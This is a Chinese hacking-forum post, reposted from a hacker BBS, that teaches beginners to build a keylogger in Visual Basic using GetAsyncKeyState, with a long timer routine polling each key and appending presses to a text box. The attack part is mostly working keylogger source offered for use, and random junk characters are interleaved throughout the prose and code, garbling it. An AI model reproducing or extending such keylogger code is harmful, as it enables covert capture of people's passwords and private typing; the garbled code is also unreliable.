QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2790|回复: 0
打印 上一主题 下一主题

手把手教你做键盘记录器

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 12:04 |只看该作者 |倒序浏览
|招呼Ta 关注Ta

作者:小珂 转自黑基BBS原创作品版' h+ Q+ F( s/ G9 d: [! D- v 版权归黑客基地所有, 转载请注明出处

; K9 A! H9 E# W

前几天写了一篇键盘记录器,好多人反映看不懂, v1 K8 G3 t# X0 o6 t& Y2 d0 l5 Q+ ^0 `对新人没什么用处,所以且这篇我会写的 x8 B- k6 C. ?0 G$ w8 d" O 很详细,再也不像那篇,出了代码什么也没 ^!^# a/ T: f, H/ U3 r( r& ~* P& P 这个程序将会详细的讲解如何记载键盘的每一次输入。/ v/ U- E3 o" Z* m2 Z ~# }6 i 下面介绍的这个程序主要是利用GetAsyncKeyState函数, . }. e0 a7 h2 h& |' g使用GetAsyncKeyState可以获得键盘的动作。 " q8 H( r) ^$ P# o! \1 g0 [GetAsyncKeyState函数根据虚拟键表判断按键的类型。 3 j% M7 T0 D' g! D/ d( \2 U返回值为一个16位的二进值数,如果被按下则最高位为1, 4 `1 Q& e O( Z4 p即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义:' L( l. v0 t5 Q; V% X+ {8 S Q" N Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer: o7 r/ t$ i6 p0 w1 U8 [! x- J1 p 好了,函数就先介绍这么多,下面开始动手实战了 & m' S; G: S" l& Jfirst,当然是创建窗口了 ! Z; J9 Q( G9 }9 [, f " O6 ~! }: n5 L) @ 0 R, |' q2 H0 ` ! G6 \. F$ @& x& y/ p4 H7 p! f* U5 W7 Z ( |9 q2 @2 z+ D" k) F 在时间控件的Timer时间中定义检查按键类型,代码如下: % |6 E& V% w+ EDim AddKey; `0 }% p# f4 X% q% N" q! O. |6 ~ KeyResult = GetAsyncKeyState(13) '回车键 , o: E# G( ^6 k* o+ I If KeyResult = -32767 Then A* i9 w* n3 S6 m4 } AddKey = "[ENTER]" & T; |! O+ C6 v% J" \5 O5 e$ o GoTo KeyFound 8 o# |, M$ w8 P L$ ]2 U9 B1 h0 V End If; Q$ X- E# F" u2 j KeyResult = GetAsyncKeyState(17) 'Ctrl键8 h6 y' y" O, v; q' v& E If KeyResult = -32767 Then $ @! z- n/ m3 N* G Y! _ AddKey = "[CTRL]" # X6 ]8 R% ~( T; `/ C& o GoTo KeyFound 0 [5 W6 [1 \1 m' l$ g End If 2 k' o2 t; m' V) T5 S, _. ] KeyResult = GetAsyncKeyState(8) '退格键1 J9 U+ c3 K) D- Z% g If KeyResult = -32767 Then , U1 n, \! V7 P6 o2 i+ f# c AddKey = "[BKSPACE]") e. g: j& u, E9 o6 a GoTo KeyFound) \) i1 ~& _0 Z8 D5 h2 ~ End If# B: x. Y1 {8 n/ V" `' K8 y) p 5 H8 L4 ^% K; D. e2 S" A KeyResult = GetAsyncKeyState(9) : e/ w/ W t# I+ M9 O If KeyResult = -32767 Then 6 a( m3 Z7 e; s# V AddKey = "[TAB]" $ t) f# J; \: v1 h2 n t: P GoTo KeyFound! h( E- |7 M( I End If & ]+ m+ \ _/ |! z . p% k0 B2 G8 X/ C9 E. A KeyResult = GetAsyncKeyState(18) * y: i+ C# S6 V: ?# I/ U: g If KeyResult = -32767 Then6 q1 J' M- A# F( `: F AddKey = "[ALT]" |3 X# [% d" U3 g- m& h1 x1 E GoTo KeyFound 6 b, q( G: p+ L' ]: k& [: o End If6 r$ {* l' K7 x ) w6 C$ e9 h. D' `/ l3 K7 w* f KeyResult = GetAsyncKeyState(19). B# Q! \! _! O; R If KeyResult = -32767 Then 6 \0 `2 o* a, C0 H; \ AddKey = "[PAUSE]" + g/ V. A, v" Q5 h3 b. D% ] GoTo KeyFound ]- S0 b: C5 K End If ( y$ Y7 _. A3 G1 `; [! {+ C & U7 G/ G0 ?& P+ Y J4 Q- k% e KeyResult = GetAsyncKeyState(20) ; ?" z$ k3 s1 e If KeyResult = -32767 Then8 U5 K: Z8 u" w AddKey = "[CAPS]"3 K) N8 d" Z4 ~ @) | GoTo KeyFound n3 I/ L" v, H: N End If6 F; I4 p2 l! v* B8 \' K 3 u5 }- i7 L" V, z/ y KeyResult = GetAsyncKeyState(27) {' O p; {( G9 N" E( y! Q- |( |, P If KeyResult = -32767 Then/ S2 \% N! p: x, o9 u6 A AddKey = "[ESC]" " ~' K, t, H0 V$ y2 V6 L GoTo KeyFound " W. l- N4 h: Q5 q4 t, ^ End If4 v. n( A" P8 b( `6 ^& q 6 z$ _. e2 H2 D7 l KeyResult = GetAsyncKeyState(33)8 G2 R8 |7 U) G0 W+ q If KeyResult = -32767 Then ) T: V/ T& r P AddKey = "[PGUP]". l) k4 C+ l4 W1 y1 F GoTo KeyFound; L4 L$ `8 c% F- t# g, m$ B' @0 h& I7 p End If7 z0 G8 V/ v+ [7 n . [0 W" U9 a p3 J" Q2 P l KeyResult = GetAsyncKeyState(34) ; M- X! R: p1 I' x j0 i4 d( ~ If KeyResult = -32767 Then& `3 l4 l# F7 \" B AddKey = "[PGDN]" 9 `6 ]$ N" R+ y GoTo KeyFound 8 h7 E7 E3 N! E$ U/ d8 X7 @) f End If9 c* `3 \ G* r# i , x) f/ X3 h" F; j* V0 d) e KeyResult = GetAsyncKeyState(35)* K0 M1 g6 v) u+ p If KeyResult = -32767 Then6 n% ~4 r: G0 k1 q( \5 E. p1 R AddKey = "[END]" ) ~5 ^5 S$ W! q' _ GoTo KeyFound * U# Y0 }' _7 C+ x# c8 H2 \ End If, d, H2 `- c6 T1 `3 t! M. O; h , W' Q( k7 h6 s8 V$ o$ S( d' N KeyResult = GetAsyncKeyState(36): d) Y! j, V# K1 \+ P3 ^4 J5 B9 n If KeyResult = -32767 Then+ C- o* ?2 b, |3 b1 J9 m AddKey = "[HOME]" 6 S1 ^& o" x) l/ g9 U/ Y. K GoTo KeyFound6 d% }4 K5 n/ @8 ~ End If |% Z- H5 U+ M( \8 f/ ] * G$ f }$ v, X5 A0 a$ {6 U KeyResult = GetAsyncKeyState(44) 8 G4 \% U ~' Q8 P+ V3 i If KeyResult = -32767 Then' q0 V! j% i4 ?) w$ P7 @* K AddKey = "[SYSRQ]" " ]4 O- d- M# }+ z: G5 I GoTo KeyFound $ ]0 K" r1 r+ V+ l1 U5 q2 q End If 1 K8 v. x( s( S3 Z+ t7 B i% c , O. h# ^) l- F$ q0 Q( H" f" |& R2 j KeyResult = GetAsyncKeyState(45) F/ h4 [) \' G! `- X If KeyResult = -32767 Then; T9 K: m( _( v AddKey = "[INS]"4 R j2 i7 O& q$ ]0 n5 y GoTo KeyFound; \. O/ R0 H" o0 ~/ `, } End If; V1 e H8 d: P; P 4 e. H5 i" v$ x) z* W! l% r KeyResult = GetAsyncKeyState(46)% l+ t% ^7 o" j O. I If KeyResult = -32767 Then ' U! k# ]8 M$ w! P' k# V AddKey = "[DEL]"6 Z9 A; O N8 M' E* I+ m GoTo KeyFound3 I) M, `" \$ n) H# G+ g5 n3 G- r End If * U7 s4 t/ Q4 c) V9 u- k0 H1 K) y ' [( m+ f% Q# f( w2 v KeyResult = GetAsyncKeyState(144) " `7 M' y" X+ `; C# [ If KeyResult = -32767 Then , F5 u' E, C! a- C* V. A AddKey = "[NUM]" " f& x" _) K' J! H6 U; d: q GoTo KeyFound 2 Z4 {% F% I5 H) S End If ( W" t, t6 G7 Z; {4 f) L$ W: t; h) a. _ 0 Q- G- x' n* Y# m2 y% v- z% ~ KeyResult = GetAsyncKeyState(37) , \( m& `" y3 r$ {/ o4 } If KeyResult = -32767 Then, E$ y% Q! B2 }( G AddKey = "

" ( T7 j7 A+ r- F6 Z2 W \' e GoTo KeyFound % n6 X) B0 |& Y( S End If . f% J" I4 P1 \! `. Z / z3 X1 z' w7 x6 q% N3 h KeyResult = GetAsyncKeyState(38) + t$ M3 h' w* A3 D# P) r( J( J+ J If KeyResult = -32767 Then & r+ I+ M2 a# A! f AddKey = "[UP]" 1 I ?, E/ H; e! i* f GoTo KeyFound 6 }+ {5 X' ]; V3 J X7 u$ z- l( b End If& R% m- @- ]8 k" M) |3 H' h 5 ]: y# v( Q! R* x1 Q KeyResult = GetAsyncKeyState(39)1 a+ Z" ~4 C4 V/ a5 A If KeyResult = -32767 Then 6 Q7 B/ V$ E: q7 n AddKey = "
"+ Q8 R2 r. O& N9 l D GoTo KeyFound; A& I$ r9 @7 u4 H+ ~# U End If7 I/ R$ r- i- R" h) R& F/ v! t- f5 V , V1 d- R1 W" l KeyResult = GetAsyncKeyState(40). p6 @7 Z6 I# z% r( P% X If KeyResult = -32767 Then ' f. b" k) L3 B$ P( U AddKey = "[DOWN]" 5 r' U- R% u- d& r% T GoTo KeyFound9 z, J+ n4 y' i7 y k End If$ b. }+ f1 J+ p3 q" B: D6 G2 g4 H ( C6 v$ b. ^' {$ e7 ~ 3 I) [. n# J; D8 v2 u; x7 C6 F- Y! E" N+ U P( u* b KeyResult = GetAsyncKeyState(112) 2 Q) r% i/ w5 s& X& r1 o If KeyResult = -32767 Then 3 y9 z, G/ z# U9 F AddKey = "[F1]" 3 o I, H4 \2 L" n% i/ C! r5 _! E GoTo KeyFound7 i5 ^' x7 s) j( o7 d End If 8 `& [, [& f- `2 | ) q1 ^0 I$ e, ]2 {0 _" c3 v KeyResult = GetAsyncKeyState(113)$ G* L3 K9 n, ]# h5 K9 H If KeyResult = -32767 Then4 q+ G: @6 u; e. k. a" H- E( c* I AddKey = "[F2]" + z/ ?- f2 M# y/ s4 L3 }! I; B GoTo KeyFound ) k7 {$ B4 h+ d1 h End If" ?$ g8 \6 \ \# t i, U' q / g& b2 Y/ a0 e+ q; U! ?KeyResult = GetAsyncKeyState(114) ) E: X3 {' A6 h; X* E5 V If KeyResult = -32767 Then 7 L& C( ^1 D5 o0 S$ g5 `2 e& D3 o AddKey = "[F3]". v# r( p6 d! k3 Q GoTo KeyFound - R/ p; ~' S/ Y! t; t4 t: \. f End If h2 Z% r, k" T! H. V" Z9 i2 N$ Q9 n - N2 J: w: Q: P8 L, c+ K KeyResult = GetAsyncKeyState(115) 5 Z1 m) G3 f$ K2 H( z If KeyResult = -32767 Then1 Z1 r9 i' a. n$ L4 _% K AddKey = "[F4]") i0 {( S- U& X5 Y4 Y9 i GoTo KeyFound / n+ x. _# a' ^: k5 N6 Y; A End If , e# k! Z. [2 T5 v 0 A; _( Q5 Z3 I+ M4 QKeyResult = GetAsyncKeyState(116)3 j( c' f K4 ~& t) I+ W ]6 f If KeyResult = -32767 Then8 L! b" G0 O5 d. N2 _3 L AddKey = "[F5]" L/ z% l6 Q* ^, J) O8 B3 N5 q GoTo KeyFound + s$ f" Y1 K+ G( C1 k0 |+ m" f End If 5 `; w. l+ \: P4 `6 G' L# G, Y$ l + b' ^; A; S k6 x3 S9 o5 |" h0 s/ y% K KeyResult = GetAsyncKeyState(117) 5 K5 q( j$ Y3 @5 C/ K If KeyResult = -32767 Then ' Z6 [2 C/ X1 c" l6 P AddKey = "[F6]"+ M+ t3 I; r3 x GoTo KeyFound * r- q+ z, O5 j* a) S& G End If ; p9 `* A+ ]# H; f9 N0 \0 Z 9 P: t# N9 q. l% N3 MKeyResult = GetAsyncKeyState(118). e" z4 ^6 B8 I& D, @6 n If KeyResult = -32767 Then , {$ a, g D+ ~9 [ AddKey = "[F7]" , ?& a" Q8 q0 z3 ^ GoTo KeyFound7 x. ?1 i9 |& ?# U End If' d% ?, M& E8 J2 K4 N* y . O) e3 J% k3 O" _5 K9 F" D KeyResult = GetAsyncKeyState(119) & B# S) @& {8 `, g If KeyResult = -32767 Then7 v' N; b2 \6 t8 I AddKey = "[F8]" . m3 K0 M, A9 [0 Z$ A! p/ O GoTo KeyFound $ o$ {6 Y0 ]4 S5 h End If , j7 ?$ Z' H6 n B" P! A8 d ; G$ ]" ?1 j4 S0 ~8 d KeyResult = GetAsyncKeyState(120)1 _0 C! M4 N0 A, U: p If KeyResult = -32767 Then ! R+ l B! m4 x+ X- R8 I AddKey = "[F9]" . `8 E# T) C5 m* b, R! d GoTo KeyFound6 j* u1 V6 p! Q* V- i9 b6 G End If( T1 f# L' b, M5 c% M" ^ ! `5 k; C- f: @ KeyResult = GetAsyncKeyState(121)$ O) t: {5 q+ } If KeyResult = -32767 Then; k5 @' T) K8 |% j4 [/ ]$ P( T AddKey = "[F10]" , E/ ~: v7 d8 y$ N$ U7 b GoTo KeyFound 1 ^0 q( n: K1 r End If 0 |* h8 Y) @7 a5 [0 M0 _4 W7 t 5 k l [, B9 @& DKeyResult = GetAsyncKeyState(122); \+ D& y& ?# `8 v6 H% W If KeyResult = -32767 Then 2 g' _/ y' g" y! D AddKey = "[F11]" ( Y, }9 D; t# }) _4 g7 B) @ GoTo KeyFound' ~8 Y, \, W' v; K! b0 j1 b# H End If W6 ]2 ?4 v- P0 g+ L5 w 8 `6 z; |! |6 y) r$ x+ b& a) aKeyResult = GetAsyncKeyState(123)/ B$ C) Y' j' ]8 c7 i3 R If KeyResult = -32767 Then- h+ Z' z R" g( g, t AddKey = "[F12]"/ M8 `# f4 S: D GoTo KeyFound4 a/ v, n1 [* @% V. E% D% N3 Z9 k End If " r0 T/ Q$ b. c1 q. x# \ 4 V8 a; _7 j5 E8 v/ T4 }1 ~9 R KeyResult = GetAsyncKeyState(124)6 S# R( ]/ i1 E If KeyResult = -32767 Then7 K! \ [0 N& p# x1 D AddKey = "[F13]"7 D+ j1 j1 |4 L4 P/ Q% ? GoTo KeyFound+ b3 U( K! ~0 R2 j/ d End If6 b! D$ ~- a5 P6 ^ 0 u- Q" T3 Q, k( q# ] KeyResult = GetAsyncKeyState(125)9 r( Z0 I' p3 O If KeyResult = -32767 Then & j* n' ~' a* u( ]! U0 a ?: K AddKey = "[F14]" / K6 ?1 l2 @+ ~ GoTo KeyFound, f. J( U, q/ D3 U: o* z End If ) F) n. g2 L' n 6 T% |8 K) Q" o _) ~" c1 vKeyResult = GetAsyncKeyState(126) & U( g2 i) K! l4 `! M- Y9 G# x If KeyResult = -32767 Then 4 b+ |. |. z: H; Q f4 F M AddKey = "[F15]"! F* N- F. f; r' D7 a5 Z- f GoTo KeyFound 9 Q8 E# m2 F2 e0 O6 h' N% |+ L3 A) y End If $ l/ U& s; D1 ~: H5 j& n! y 5 R/ s* x" t# B$ ^* v+ e KeyResult = GetAsyncKeyState(127) ; S- {9 G! d# W; q" q If KeyResult = -32767 Then 7 @2 H) J8 s1 _5 r5 x6 o AddKey = "[F16]" 9 s6 L, K7 H3 i+ {: ` GoTo KeyFound; n# N5 C/ n6 v% R4 ~$ U End If% Y) c2 D& c$ S5 \1 l, c 4 P8 v4 Q! f: K' ~+ LKeyResult = GetAsyncKeyState(32)6 ~" S/ k# k1 \. I9 l If KeyResult = -32767 Then9 i ]! }; d- w( l AddKey = " " : d+ h7 z6 D" b2 k/ ? GoTo KeyFound $ F" [: m! h: `/ Y W R End If' w3 ^$ v' T) f$ Z' Y/ e % a! G' t$ E8 g0 f1 @ KeyResult = GetAsyncKeyState(186) 8 ?! ]+ }' G% o* k U% [ M If KeyResult = -32767 Then- s0 p( \! h) \' d$ B AddKey = ";"8 b* n+ g5 b! D6 f9 u3 ?+ m GoTo KeyFound: x0 U9 I1 q) G End If Y, J6 X" C% ~- U; V0 x ' m0 C/ T j4 i, s, CKeyResult = GetAsyncKeyState(187)$ T/ i% C9 l5 v2 p( }1 q& n& M- C If KeyResult = -32767 Then / t, n5 P* X4 P0 m9 d AddKey = "="& k1 q7 w# H3 m5 l: w/ K( q GoTo KeyFound8 E$ y$ _1 R# Z# ?$ a' B End If% L1 q6 V) g4 K4 r ) ^$ B3 I8 [1 F2 s, R6 \KeyResult = GetAsyncKeyState(188)/ p: L4 X9 @8 R: f If KeyResult = -32767 Then( I8 B2 A& | X# x AddKey = "," + d9 Y, O& {9 w- p( A) \ GoTo KeyFound# j3 e' G+ d% |* A End If! _5 E/ s6 {* x- B5 C . a1 z3 e* ?+ h( t( b" LKeyResult = GetAsyncKeyState(189) B3 {# \4 h; ^6 s/ R4 ^1 C0 a7 v If KeyResult = -32767 Then % x- T3 \4 k, \ AddKey = "-" Q, e2 H, N& |0 \1 b# w3 F9 Q GoTo KeyFound 8 P. O4 P4 s# J! n End If* O2 p: M0 R; ^- L% w! T # w. [8 |$ L' K KeyResult = GetAsyncKeyState(190)4 t* M7 t- V: F, l+ ~8 F2 o If KeyResult = -32767 Then1 i: Q: L, `! b" F" B5 Q AddKey = "."1 V$ J6 c' ^$ {* h [5 Y1 I GoTo KeyFound 6 U7 {; ]; _) f- T End If" V% c! d3 \- s2 [9 L- Q- l: H1 |+ L + a5 o5 Z8 D& O0 U KeyResult = GetAsyncKeyState(191) 4 k6 e G0 @0 R7 @; l4 h/ A If KeyResult = -32767 Then 2 I* P% W" O% j b AddKey = "/" '/ ( ]2 A( c; a0 }) L" ~ GoTo KeyFound 1 Q& O$ @3 M1 P6 h# Z0 u End If7 @* W0 f/ w* ^/ O; W$ \6 F 1 g, R( z/ d5 [" J: l% `1 |* e4 y; g KeyResult = GetAsyncKeyState(192)! Q" j) P. V& U( i5 l0 \" n1 g If KeyResult = -32767 Then/ H: }: G& h4 z- H5 A AddKey = "`" '` 1 |0 V& o7 G/ E, } GoTo KeyFound/ |5 M- p$ W+ {6 |. l; Z End If; j3 C5 i2 N$ R / S( j1 C* q7 A+ o/ G - a+ K' e7 \ q! R, h" _8 o2 p; m" l5 ~ '----------NUM PAD& Z D2 I5 W9 t KeyResult = GetAsyncKeyState(96) 8 }7 N* }0 g+ d3 D( w1 V2 i* G If KeyResult = -32767 Then 9 m* u* O2 a4 x' Z AddKey = "0"4 I0 i* m5 n; }- z GoTo KeyFound9 U" V4 D: N: e% i( p: c End If' o4 c* O# f( L; ~9 \! W! G8 @ / c. J* t `$ W+ f/ B5 i, r KeyResult = GetAsyncKeyState(97)8 n% X# d1 x% s: l! G6 i- ~ If KeyResult = -32767 Then " ~# F9 j$ x0 \# ]1 b4 X AddKey = "1" / p5 b/ L+ b. W1 I. z6 w( W" y; b GoTo KeyFound6 A/ P& X x% w+ }+ D End If" V, F( l0 { f \4 s ; n! u( X) C: K5 c6 H 4 t+ C$ M% ^ |/ g1 y+ vKeyResult = GetAsyncKeyState(98)7 L4 P0 E# x* p B+ Z- H! P) J& v If KeyResult = -32767 Then N) f0 D9 M2 i% i' @1 f; D AddKey = "2" $ m: T6 h) D% h GoTo KeyFound: b/ ?& W1 s$ K5 P End If : u! }4 k1 j. M5 b' q8 ` ) K# ^% L$ @4 Y% t4 e. jKeyResult = GetAsyncKeyState(99) + {$ @) r* ~0 }1 w1 H6 ?6 z If KeyResult = -32767 Then 2 G: f( U4 [8 c/ C AddKey = "3" , x! |) C+ j A6 n/ | GoTo KeyFound7 h: v; h2 p' b: g) m% s: ? End If0 s: Y8 F* U. h+ O3 ^. ? & X9 r, W- p7 l( l' V 5 y3 Z7 w5 }: p- m KeyResult = GetAsyncKeyState(100)1 G2 z1 F" G( W3 c5 V6 E* p If KeyResult = -32767 Then 1 P' k, _& w8 g0 V1 x, p. B" v0 [/ U AddKey = "4"# J6 m4 P5 |" X$ m GoTo KeyFound) y/ [: c" N/ K6 Y8 [4 f/ b End If ; T6 h! i: X, @5 d/ c: F( A" Z 5 b3 U+ R8 v# IKeyResult = GetAsyncKeyState(101)! @. K' z' {# e: `0 b If KeyResult = -32767 Then4 r% v, R" U8 l8 _# t+ K8 m) L AddKey = "5" " Q O2 r3 \, i& ?# E3 V4 U GoTo KeyFound/ V4 u& c( n, P+ H End If$ a8 U$ E. ?. R7 t) r g4 ?9 M ; V$ ~" L$ R- y7 J! z) M1 P N ) H3 ~) L" b- {/ ~, {9 `KeyResult = GetAsyncKeyState(102)1 O) x* }# i) H" r5 ` If KeyResult = -32767 Then' u4 W2 [) ~0 s0 W AddKey = "6"% q, R9 D& _1 {5 [& x GoTo KeyFound" I" K9 r) n. J6 N/ G1 I; c8 i End If 0 U [% c7 l/ f1 z3 Z! C; @. e( c9 W" Z% o) h: k, L0 ~7 ~/ S1 G KeyResult = GetAsyncKeyState(103)- O6 T e3 @; Q* a# S8 o If KeyResult = -32767 Then" }+ g! a5 `" @* g4 d! E AddKey = "7"# @* [7 d* I) ` GoTo KeyFound & f; B6 N# ^) d s0 z) o End If a3 B; m F/ i' H# }5 X8 I' ` # D( r7 { _1 z7 @& s; z # o0 J# u& u( d( A8 H KeyResult = GetAsyncKeyState(104) % }2 z2 g6 l6 y7 C6 w+ O7 r If KeyResult = -32767 Then 6 t& w9 M L- ~5 |- l AddKey = "8" 2 ?. N1 i) A* |: t9 Y8 T& R: X GoTo KeyFound ' M; I9 Y1 k: A# g3 l4 l$ m End If % R F7 G$ T+ Z" j5 d8 [- h* Y( W/ V) h- B0 J1 }+ h2 b KeyResult = GetAsyncKeyState(105)2 W5 D% U; Z% H If KeyResult = -32767 Then: q1 E* d- A$ [9 q: s AddKey = "9" 4 K7 |& g+ A0 g) D GoTo KeyFound 1 y4 x9 f) F, U/ z x End If 3 }+ D, ]& P% x. k2 I+ w. N( h * @2 ~7 d3 @" y6 [ J1 q 9 R q0 N8 p/ {$ ?KeyResult = GetAsyncKeyState(106) * E: A- k* k# |' [; i If KeyResult = -32767 Then- ]* [/ C' U7 A1 i* s5 | AddKey = "*"5 j0 y7 o( ]" D: Y2 C GoTo KeyFound7 l1 h6 i' S3 S# t% D( i% g End If ( p* m4 S- K$ F( |' J6 \! u' t9 _ % G, y% i, N: I3 \4 P/ i1 PKeyResult = GetAsyncKeyState(107) & V: T4 x: z; U9 Q$ H# m6 ^ If KeyResult = -32767 Then ~ A- X* x( f2 q7 b* J AddKey = "+" ) L) D$ j' D u+ a GoTo KeyFound , g8 I J4 {# e# {- @; y1 G. B5 \ End If 4 L' U" @5 w4 w' H: [ H) G R1 ` 5 c) ~) N- L- g" k% v/ |2 K% z KeyResult = GetAsyncKeyState(108) - W7 n; i! B4 u8 D5 {( \, ? If KeyResult = -32767 Then; X7 t3 y" g- U, D \ AddKey = "[ENTER]"6 _9 [3 |* O; w0 M3 A GoTo KeyFound3 f4 a8 P, {$ U0 ?7 G( U6 ^ End If7 a2 @+ ^# O6 m) W- D 7 v5 @! z8 J2 P; h KeyResult = GetAsyncKeyState(109) 3 X, X% b0 X$ m If KeyResult = -32767 Then ) m/ x) Q3 E' K AddKey = "-"; r8 F8 G- z+ K3 q+ {1 C GoTo KeyFound6 e4 ]& t8 b+ @: e9 F/ O3 O End If+ f' ^1 z6 a7 h0 D7 u/ p. _ % Q, u/ C+ x8 l KeyResult = GetAsyncKeyState(110) $ \ Q2 O, Y0 { If KeyResult = -32767 Then ! T! R- m1 u: ?/ T8 U AddKey = "." 5 h9 {9 X4 O. H& ~$ E GoTo KeyFound 7 f) ~( ^; M y: \! T End If 6 |4 _, J% D+ r& S2 Z( I* W: Y9 w: c" G! G KeyResult = GetAsyncKeyState(2)+ i d5 e- g- y1 S3 ?# { If KeyResult = -32767 Then8 { o; ]$ b( P, Q AddKey = "/" + |. ^& @3 V, d; H" z& K GoTo KeyFound : I! P* M# O7 F, L End If t) ~8 G: Z0 G2 ]. p* V 8 G7 M3 i5 b" U3 K. C( W, xKeyResult = GetAsyncKeyState(220)9 m0 e& U3 z+ h* m If KeyResult = -32767 Then 0 s9 d& J/ u+ S6 p- @ AddKey = "\". [+ ` M2 e) H3 p GoTo KeyFound + b$ a- P1 r5 z; ]% g* Y, B5 M End If 0 x8 |8 u. u" \6 O! \+ B8 g ! \% L; T' {1 \3 gKeyResult = GetAsyncKeyState(222), { V, B% w) I If KeyResult = -32767 Then0 |5 r3 ^* c% {" G. B9 i AddKey = "'"5 A5 O2 @7 _ B- Y- `6 l GoTo KeyFound ' z8 F- L! }/ g" a* @2 c' o3 \9 Y* ` End If# t# q, [% M! S& b" w. w/ \ ' j6 J! R# z c$ `# FKeyResult = GetAsyncKeyState(221) 9 Y1 r& Z: C5 ^8 [7 }$ ^- e) ~6 k If KeyResult = -32767 Then/ J! ~/ ?1 i' n9 A& p9 N AddKey = "]" 5 V! t x9 S7 I3 e9 j 7 I4 Y2 f2 t$ j" w5 T. P 9 r4 p$ g5 ?- r. ~, E GoTo KeyFound+ G* v) i" M4 W* s* A1 Y- p( H( D End If 8 ]7 O" c. i0 u; \ 4 o& y) o! {- R3 i# g/ C; } KeyResult = GetAsyncKeyState(219)5 o5 h6 `0 { Y If KeyResult = -32767 Then % K6 e/ v0 C% K1 u1 W( E O, K2 a AddKey = "[" 5 ~8 A. A, ]$ S% [- o3 d' R GoTo KeyFound- y) z7 Y; I# v End If- O5 D4 p' W+ E6 h1 z V % E- p: @& S8 J; @, P# ^2 [KeyResult = GetAsyncKeyState(16) 'shift键 - l4 W' x L1 j( D$ @ If KeyResult = -32767 And TimeOut = 0 Then$ V7 X0 q s8 ]( t+ Y: f5 H AddKey = "[SHIFT]" 8 ~0 W: _0 W# M. T* Y LastKey = AddKey; K, N, g' X7 k9 X. O TimeOut = 16 V) C0 Q f6 c( T* h* M GoTo KeyFound |( K6 `2 j9 }$ \# ^ End If % L. a, U' ^& P% b- z # b- }$ i" ?& ~# P& A! R7 u KeyLoop = 41 : H7 ~# H8 I9 y: p: Z7 J# I6 a0 Z4 B5 M4 i) p Do Until KeyLoop = 256 ' 显示其他键 ! _/ `" X, E7 Z) |4 O( w( g KeyResult = GetAsyncKeyState(KeyLoop); u5 y: j! Q" s" E% ` If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)) n- _% v0 A! a' _" M KeyLoop = KeyLoop + 1 6 n4 Z! o/ b+ E$ G, ?; G2 t Loop % ? y. m# {1 s d LastKey = AddKey , b, \% ? ?* w! P Exit Sub Y& p0 L* i- z" X. | KeyFound: '显示键的信息/ I/ q t/ t8 S" m5 Y* N 2 x% H. a5 V* L! b( D( ]$ b Text1 = Text1 & AddKey 1 T. @/ b% O L6 I: V: M7 QEnd Sub/ b0 Q" q' g4 a5 H 上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……8 }1 ?6 W4 s/ U' Z- ~4 w$ u! E$ F 由于数目太多,一一列举不方便) _: w8 j3 L) H3 x: @' U 现提供Ascii表一份供对照 . U1 P; A. m+ T( d7 |http://www.cstudy.cn/repository/ascii/default.htm ! b+ ]2 r2 k/ s7 w' Q3 K; @/ b下面是其他的事件 ! a. L7 T+ w% z& F$ S% S) EPrivate Sub Timer2_Timer()$ N( f, W y0 l6 d6 Z O0 N/ K) j TimeOut = 0 # q; d, f9 U; e# l/ \End Sub 5 k5 M: W. \/ F! m+ v0 b目的是随时刷新清空 2 A6 }! s, b; A% d4 `. B

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-25 21:30 , Processed in 0.425126 second(s), 52 queries .

回顶部